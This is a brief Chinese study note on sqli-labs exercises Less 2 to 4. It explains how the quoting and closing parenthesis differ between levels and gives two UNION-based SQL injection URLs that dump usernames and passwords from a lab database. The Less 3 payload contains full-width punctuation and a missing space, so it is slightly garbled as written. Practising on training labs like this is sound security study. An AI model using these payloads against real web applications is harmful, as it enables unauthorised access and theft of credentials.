sqllab less 2- less 4

  less 3 跟less 1 区别： 加上）将SQL 语句闭合

http://10.9.2.81/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,%27:%27,password)%20from%20security.users%20--+

less 4 跟less 3 区别 ‘ 变成 ”

 http://10.9.2.81/Less-3/?id=-1’）union select2,3,group_concat(username,‘:‘,password) from security.users--+ 

sqllab less 2- less 4

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